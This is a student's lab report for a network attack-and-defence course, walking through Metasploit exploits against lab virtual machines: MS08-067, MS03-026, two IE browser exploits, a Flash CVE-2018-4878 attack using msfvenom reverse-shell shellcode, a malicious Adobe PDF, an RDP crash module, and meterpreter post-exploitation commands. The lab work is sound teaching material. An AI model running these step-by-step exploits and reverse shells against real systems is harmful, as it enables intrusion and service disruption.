20192415 2021-2022-2 《网络与系统攻防技术》实验六实验报告

20192415 2021-2022-2 《网络与系统攻防技术》实验六实验报告

1.实验内容

1.1 实验要求

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。具体需要完成:

  1. 一个主动攻击实践,尽量使用最新的类似漏洞;
  2. 一个针对浏览器的攻击,尽量使用最新的类似漏洞;
  3. 一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞;
  4. 成功应用任何一个辅助模块。

以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除1分。

1.2 基础知识

1.2.1 MSF体系架构

Metasploit是一款开源渗透测试框架平台,内置了数千个已披露的漏洞相关的模块和渗透测试工具。

使用者选定需要的模块后,通过命令配置好参数就能完成针对一个漏洞的测试和利用。MSF主要有以下6大模块:

  1. Exploits(渗透攻击模块)
    利用发现的安全漏洞或配置弱点对目标主机进行攻击,植入和运行攻击载荷,从而获得目标系统的访问控制权。
    • 主动渗透攻击:利用的安全漏洞位于网络服务端软件承载的上层应用程序之中。
    • 被动渗透攻击:利用的漏洞位于客户端软件(如浏览器,浏览器插件,电子邮件客户端,Office与Adobe等各种文档与编辑软件)。
  2. Auxiliary(辅助模块)
    包括对各种网络服务的扫描与检测,构建虚假服务登陆密码,口令猜测等模块。
    还包含一些无须加载的攻击载荷(不用来取得目标系统远程控制权),如拒绝服务。
  3. Post(后渗透攻击模块)
    用于取得目标系统远程控制权之后的环节,实现在受控系统中进行各种各样的后渗透攻击动作,如实施跳板攻击。
  4. Payloads(攻击载荷模块)
    在渗透攻击成功后促进目标系统运行的一段植入代码,主要用来建立目标与攻击机稳定连接的,可返回shell,也可以进行程序注入等。
    • Single:一种完全独立的Payload,使用简单。由于Single是完全独立的,有可能会被类似netcat这样的metasploit处理工具所捕获。
    • Stager:这种payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。
      • reverse_tcp:让目标系统与攻击者建立一条TCP连接,让目标系统主动连接渗透测试者的端口(反向连接)
      • bind_TCP:让目标系统开启一个TCP监听器,而攻击者随时可以与目标系统进行通信(正向连接)
    • Stage:是stager payload下的一种payload组件,可以提供更加高级的功能,而且没有大小限制。
  5. Nops(空指令模块)
    空指令是一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令。
    最典型的空指令是空操作,在X86体系结构平台上的操作码是0x90。
  6. Encoders(编码模块)
    攻击载荷与空指令模块组装完成一个指令序列后,这段指令被渗透攻击模块加入恶意数据缓冲区交由目标系统运行前,metaspliot还需要编码。
    主要作用有:确保攻击载荷中不会出现“坏字符”;对攻击载荷进行“免杀”处理,即躲避反病毒软件,IDS入侵检测系统和IPS入侵防御系统的检测与拦截。

1.2.2 常用命令

search [关键字] # 用指定关键字搜索可以利用的漏洞模块
use [模块名称或模块索引] # 使用漏洞模块

show options/payloads/targets # 查看该模块需配置的参数选项/可以使用的攻击载荷/可以攻击哪些操作系统
set [option] [value] # 设置RHOSTS、RPORT、LHOSTS等选项的值
	RHOSTS:设置目标主机的ip地址
	RPORT:设置目标主机的端口号
	LHOSTS:设置侦听主机(本机)的ip地址
	LPORT:设置侦听主机(本机)的端口号
	SRVHOST:要监听的本地主机或网络接口。这必须是本地计算机上的地址或0.0.0.0才能侦听所有地址。
	SRVPORT:要监听的本地端口。

exploit/run # 开始攻击/监听/模块运行
sessions - # 列出会话
sessions -i id # 选择会话

2.实验过程

2.1 主动攻击实践

2.1.1 ms08_067

  1. 实验环境
    攻击机:kali(172.30.6.168)
    靶机:win2000(172.30.2.196)

  2. 实验过程
    首先使用nmap或Nessus进行扫描,确认靶机是否存在该漏洞、靶机445端口是否开放。

     nmap -sS -A --script=smb-vuln-ms08-067 -PO 172.30.2.196
    

    从扫描结果中,可以看到靶机存在CVE-2008-4250漏洞(即ms08_067),同时该漏洞针对的targets包含win2000,可以对靶机实施相应的攻击。

    下面进入msfconsole进行参数配置(RHOSTS和payload),后开始攻击,能够获得靶机的shell。

     msfconsole # 进入工作台
     search ms08_067 # 查找模块
     use exploit/windows/smb/ms08_067_netapi # 选择该漏洞
     set payload generic/shell_reverse_tcp # 设置攻击载荷
     # 我的主机必须使用该载荷才能成功,使用windows/meterpreter/reverse_tcp不成功
     set RHOSTS 172.30.2.196 # 设置靶机IP
     run # 开始攻击
    

2.1.2 ms03_026

  1. 实验环境
    攻击机:kali(172.30.2.96)
    靶机:win2000(172.30.5.87)

  2. 实验过程
    首先使用nmap或Nessus进行扫描,确认靶机是否存在该漏洞、靶机端口135、139、445、593或远程计算机上的任何其他专门配置的RPC端口是否开放。

    进入msfconsole进行参数配置(LHOST、RHOSTS和RPORT),后开始攻击,能够获得靶机的shell。

     use exploit/windows/dcerpc/ms03_026_dcom
     set LHOST 172.30.2.96 # 攻击机IP
     set RHOSTS 172.30.5.87 # 靶机IP
     # 靶机端口的设置,要看具体靶机的哪个端口是开放的,一般只要135开放就使用135
    

2.2 针对浏览器的攻击

2.2.1 ms14_064

  1. 实验环境
    攻击机:kali(192.168.11.123)
    靶机:winXP(192.168.11.254)

  2. 实验过程
    设置靶机中IE浏览器的安全权限:右键“IE”→“属性”→“安全”→“自定义级别”→启用“对标记为可安全执行脚本的ActiveX控件执行脚本”;“高级”→勾选“允许运行或安装软件,即使签名无效”。

    进入msfconsole进行参数配置(RHOSTS和payload),后开始攻击,能够获得靶机的shell。

     use exploit/windows/browser/ms14_064_ole_code_execution # 选择攻击使用模块
     set SRVHOST 192.168.11.123 # 设置攻击机ip
     set AllowPowerShellPrompt true # msf中的exp代码只对安装powershell的系统生效 
     set LHOST 192.168.11.123
     set LPORT 2415
     exploit #发起渗透攻击
    

    exploit后将生成网址,在靶机中用浏览器打开该网址,将获取到靶机的shell。

     sessions # 列出会话
     sessions -i 1 # 进入与靶机的连接,即获取到的shell
    

2.2.2 ms10_002

  1. 实验环境
    攻击机:kali(192.168.11.123)
    靶机:winXP(192.168.11.254)

  2. 实验过程

    进入msfconsole进行参数配置(RHOSTS和payload),exploit后将生成网址。

     use exploit/windows/browser/ms10_002_aurora # 选择攻击使用模块
     set SRVHOST 192.168.11.123
     set srvport 2415
     exploit //开始攻击
    

    在靶机中用浏览器打开该网址,将获取到靶机的shell。

     sessions # 列出会话
     sessions -i 1 # 进入meterpreter会话
    

2.3 针对客户端的攻击

2.3.1 CVE-2018-4878

  1. 实验环境
    攻击机:kali(172.30.2.96)
    靶机:winXP(172.30.5.105)+ IE 8 + flashplayer_activex_28.0.0.137(Adobe Flash Player 28.0.0.137及其之前的版本)

  2. 漏洞原理
    攻击者构造特殊的Flash链接,当用户用浏览器/邮件/Office访问此Flash链接时,会被“远程代码执行”,并且直接被 Getshell,真正实现“一点中招”。

  3. 实验过程
    教程中下载CVE-2018-4878-master(主要是cve-2018-4878.py )。先使用msfvenom生成一段shellcode,用该shellcode替换py文件中的代码(注意shellcode中的“b”不要)。
    msfvenom -p windows/meterpreter/reverse_tcp lhost=172.30.2.96 lport=1524 -f python

    同时修改py文件最底部的文件路径,改为自己的py文件所在目录即可。
    同时在图中位置添加两行代码(str转为bytes):

     data = data.encode('utf-8')
     html = html.encode('utf-8')
    

    在py文件所在目录打开终端,执行py文件,生成exploit.swf和index2.html。并开启Apache2服务,将生成的两个文件放入/var/www/html目录中(apache web路径),并修改权限。

     python cve-2018-4878.py # 执行py文件
     service apache2 start # 开启Apache2服务
     cp index2.html /var/www/html/index2.html
     cp exploit.swf /var/www/html/exploit.swf
     sudo chmod 777 -R /var/www # 修改权限
    

    在攻击机中开启监听。

     use exploit/multi/handler 
     set LPORT 1524 # 与前面msfvenom生成shellcode时的LPORT要一致
     set LHOST 172.30.2.96 # 与前面msfvenom生成shellcode时的LHOST要一致
    

    在靶机中用IE 8浏览器访问网址“http://172.30.2.96/index2.html”,攻击机将获取到meterpreter shell。

2.3.2 CVE-2010-2883

  1. 实验环境
    攻击机:kali(172.30.2.96)
    靶机:winXP(172.30.5.105)+ Adobe Reader 9.3(版本在8.2.4-9.3.4之间即可)

  2. 漏洞原理
    Adobe Reader在处理CoolType字体文件的sing表时,存在栈溢出漏洞,当打开特制的恶意PDF文件时,可允许任意代码远程执行。

  3. 实验过程
    使用windows/fileformat/adobe_cooltype_sing模块并配置参数,生成攻击所需的PDF文件“msf20192415.pdf”。(载荷使用windows/meterpreter/reverse_tcp即可,反向连接到渗透机,无需修改)

     search adobe 
     use windows/fileformat/adobe_cooltype_sing # 即use 7
     show options
     set FILENAME msf20192415.pdf
     set LPORT 1524
     exploit 
    
     [*] Creating 'msf20192415.pdf' file...
     [+] msf20192415.pdf stored at /root/.msf4/local/msf20192415.pdf
    

    在kali的路径/root/.msf4/local/中找到PDF文件,通过共享文件夹将其传给靶机。

    在靶机中安装Adobe Reader 9.3。

    在攻击机中开启监听。

     use exploit/multi/handler 
     set LPORT 1524 # 与前面使用攻击模块时配置的LPORT要一致
     set LHOST 172.30.2.96 # 与前面使用攻击模块时配置的LHOST要一致
     run
    

    在靶机中用Adobe Reader打开PDF文件,Adobe Reader将进入一种“卡壳”状态,此时攻击机获取到靶机的shell。

    需要注意的是,这种“卡壳”状态结束后,攻击机与靶机间的连接也会断开,因此最好尽快切换到其他进程。获得meterpreter后可进行以下操作:

     sysinfo # 查看系统信息
     getuid # 查看当前用户
     ps # 获取进程
     migrate 440 # 切换进程
     shell # 获取shell
    

2.4 辅助模块应用

除以下几项外,更多关于辅助模块的使用可查看Metasploit技术 --p1--信息收集

2.4.1 ms12-020

  1. 模块介绍

    MS12-020为windows下2012年爆出高危安全漏洞,该漏洞是因为Windows系统的远程桌面协议(RDP,Remote Desktop Protocol)存在缓存溢出漏洞,攻击者可通过向目标操作系统发送特定内容的RDP包造成操作系统蓝屏,利用起来操作简单,危害极大,影响范围极广。
    模块使用条件:开启3389远程桌面;2012年漏洞披露后未更新系统补丁。
    模块使用效果:服务器数据处理出错,导致服务器蓝屏,无法继续提供服务。

  2. 模块使用

    search ms12_020
    use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
    set RHOSTS 172.16.219.154 # 设置靶机IP(这里靶机是win2000)

  3. 实验结果

    关机成功后,靶机短暂蓝屏,倒数结束后关机重启。

2.4.2 DNS Record Scanner and Enumerator

  1. 模块介绍
    DNS扫描和枚举模块可用于从给定的DNS服务器收集有关域名的信息,执行各种DNS查询(如域传送、反向查询、SRV记录等)。

  2. 模块使用

    auxiliary/gather/enum_dns
    show options
    set DOMAIN baidu.com
    run

  3. 实验结果

2.4.3 SMB Version Detection

  1. 模块介绍
    SMB(ServerMessageBlock)协议作为一种局域网文件共享传输协议,常被用来作为共享文件安全传输研究的平台。
    但是,SMB协议中采用控制文件安全传输的机制是使用客户身份验证的方式,、通过客户端向服务器端发送验证密码来获取文件传输的权限。
    针对该机制的网络攻击相对严重,攻击程序通过对验证密码的截获来窃取文件的访问权限,局域网下文件传输的安全性得不到保障。
    使用Metasploit渗透框架可以进行SMB服务版本扫描。

  2. 模块使用

    use auxiliary/scanner/smb/smb_version
    set RHOSTS 172.30.5.87 # 设置靶机IP(这里靶机是win2000)

  3. 实验结果

3.问题及解决方案

问题1:VB中的Windows XP提示“虚拟内存最小值太低”。
问题1解决方法:“我的电脑”“属性”“高级”“性能设置”“高级”“虚拟内存更改”,将“初始大小”和“最大值”调高即可
问题2:adobe漏洞攻击无效
问题2解决方法:Adobe Reader 版本过高无该漏洞
问题3:开启Apache2后,访问目录中的网站提示“You don't have permission to access this resource”。
问题3解决方法:从错误提示本身出发,“没有访问此资源的权限”,那么可以尝试给www文件夹下的所有文件给予一定的权限。执行了指令sudo chmod 777 -R /www,指令作用是给予www文件目录下的所有文件及其子目录下的所有文最高权限777(当然,配置外网网站是不建议给予最高权限,避免出现安全问题)。
问题4:使用Nessus时提示“API disable”。
问题4解决方法:在浏览器设置中,清除cookies,然后刷新页面可正常使用Nessus。

4.学习感悟、思考等

本次实验使用了metasploit的多个模块,进行了不同类别的攻击。值得关注的是,每种可被利用的漏洞所适用环境是不同的,几乎没有适用于所有情况的漏洞,因此攻击前做好信息收集与扫描是十分重要的。想要拥有较高的渗透攻击能力,既需要善于收集信息,又要有强大的漏洞知识储备,能够根据掌握的信息找到最适合最隐蔽最高效的攻击方法。

5.参考资料

posted @ 2022-05-12 21:33  20192415邢质斌  阅读(132)  评论(0编辑  收藏  举报